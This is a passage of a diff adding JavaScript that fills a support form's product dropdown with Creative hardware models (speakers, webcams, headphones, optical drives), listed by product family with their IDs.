+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery - Jukebox 2', '563'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Battery Modules', '999'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayDock PD200', '31'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound', '80'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Li-Ion Battery - Jukebox 3', '86'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FM Wired Remote - Jukebox 3/Jukebox Zen/MuVo\u00B2', '115'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Power Adapter', '125'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cassette Adapter Kit', '401'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Car Kit - Jukebox 3/Jukebox 2/Jukebox Zen/MuVo\u00B2', '496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Pack', '4997'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Modules - MuVo NX / TX / TX FM', '9217'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Armband - MuVo NX / TX / TX FM', '10126'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 4 : // Speaker Systems
+ switch(parseInt(famID)) {
+
+ case 113 : // 7.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T7700', '5076'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 24 : // 6.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 6.1 6600', '465'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 25 : // 5.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5100', '1704'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks LX520', '9412'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 5600', '10736'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T5900', '10323'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire P5800', '10596'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT2200', '428'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5.1 5700 Digital', '439'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 Digital 5500', '990'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5.1 5200', '55'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5300', '238'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MegaWorks THX 5.1 550', '240'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT3500 Digital', '290'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayWorks DTT2500 Digital', '291'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 5.1 5600', '1705'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T5400', '5077'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayWorks PS2000 Digital', '427'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1', '1628'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Theater 5.1 DTT2500 Digital', '1629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cambridge SoundWorks MegaWorks 510D', '478'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 26 : // 4.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1600', '47'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS2000 Digital', '297'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 4.1 4400', '446'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1800', '424'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-Works FourPointSurround FPS1000', '378'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FPS1500', '388'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 27 : // 2.1 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 3600', '10735'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T3000', '10329'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 3400', '10733'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire G380', '9276'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative I-Trigue 3200', '10327'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks LX220', '9407'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 2.1 Slim 2600', '434'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2.1 2500', '461'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue L3500', '4912'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue L3450', '4913'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire T2900', '9025'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire P380', '9026'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks SW320', '48'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MegaWorks THX 2.1 250D', '124'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue 2.1 3300', '139'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative SBS 2.1 350 Speakers', '281'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS 370', '283'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCWorks', '284'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire Slim 500', '289'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Inspire 2.1 2400', '298'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks Digital', '299'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SoundWorks SW310', '304'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'I-Trigue i3350', '279'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 28 : // 2.0 Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire Monitor M85-D', '4910'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2.0 1300', '4918'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS 230 Speakers', '4905'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS52', '1'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS16', '2'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cambridge SBS20', '3'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS50', '1834'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SBS10', '1831'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative SBS15', '4906'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 29 : // Portable Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound 200', '10164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound MP3', '1874'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayDock PD200', '31'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound', '80'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound i-300', '9022'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative TravelSound MP3 Titanium', '991'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 136 : // Decoders
+ try { addBoxItem(document.Support_Form.Product_ID, 'Decoder DDTS-100', '9468'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 30 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1100 Speaker Stands', '166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1300', '4936'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HN-505', '4938'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-65', '4916'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-60', '4937'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-480', '11708'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HS-300', '4939'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1200 Speaker Stands', '9515'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SurroundStation', '32'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative HQ-2000 Headphones', '4'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-500 Speaker Tripods', '399'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 2600 Spkr Grilles', '636'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5300 Spkr Grilles', '637'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5700 Spkr Grilles', '664'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative HQ-1000 Headphones', '4988'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 218 : // Web Cameras
+ switch(parseInt(famID)) {
+
+ case 219 : // WebCam
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra for Notebooks', '11491'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra', '10451'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Pro', '10450'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live!', '10412'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Instant', '10410'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX Ultra', '9340'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX Pro', '628'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam NX', '627'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam PRO eX', '243'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam PRO', '616'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go Plus', '15'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Webcam Go ES', '1898'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go Mini', '1900'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Go', '17'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Video Blaster WebCam Plus', '16'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Notebook', '629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Mobile', '4890'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam 5', '1896'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista Pro', '11053'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista Plus', '11043'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam', '65'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam II', '4900'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam 3', '1908'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Vista', '1907'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 220 : // PC-CAM
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 900', '10119'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 930 Slim', '11431'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 920 Slim', '10823'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 880', '308'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 750', '4878'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 850', '4879'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative PC-CAM 300', '49'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 350', '106'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 550', '107'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam Value', '116'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-CAM 600', '260'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 437 : // Headphones &amp; Headsets
+ switch(parseInt(famID)) {
+
+ case 438 : // Headphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1300', '4936'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 439 : // Noise-Cancelling Headphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HN-505', '4938'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 440 : // Backphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-65', '4916'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Backphones HQ-60', '4937'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 441 : // Earphones
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-630', '11397'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-480', '11708'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-380', '11229'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 442 : // Headsets
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HS-300', '4939'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 9 : // Storage Devices
+ switch(parseInt(famID)) {
+
+ case 259 : // DVD±RW Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD±RW Dual 8X', '9599'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD±RW Dual 8x8', '10305'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DVD+RW Dual External 8x8', '10583'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 47 : // Combo Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive 52.32.52x/16x', '11712'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive 40-12-40/16', '4998'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Combo Drive NS', '9454'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 46 : // CD-RW Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW External 52-32-52x', '9481'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 12-10-32', '8'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW 52.24.52', '1590'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 24-10-40 External', '4944'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW External 52-24-52x', '9027'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW 52-32-52x', '9453'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 48-12-48 External', '9020'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-RW Blaster 48-12-48', '4941'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 45 : // PC-DVD Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD Encore 12x', '6'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD ROM 12x', '1486'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD DVD-ROM 16x', '1490'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PC-DVD MPEG-1 Decoder Board', '1801'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 44 : // CD-ROM Drive
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-ROM Blaster Digital iR52X', '3562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CD-ROM Blaster 52X', '11'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '12x CD-ROM Drives', '1485'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '16x CD-ROM Drives', '1489'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '48x CD-ROM Drives', '1548'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '1x & 2x CD-ROM Drives', '1493'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '24x CD-ROM Drives', '1495'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '2x & 3x CD-ROM (SCSI)', '1496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '32x CD-ROM Drives', '1498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '36x CD-ROM Drives', '1499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
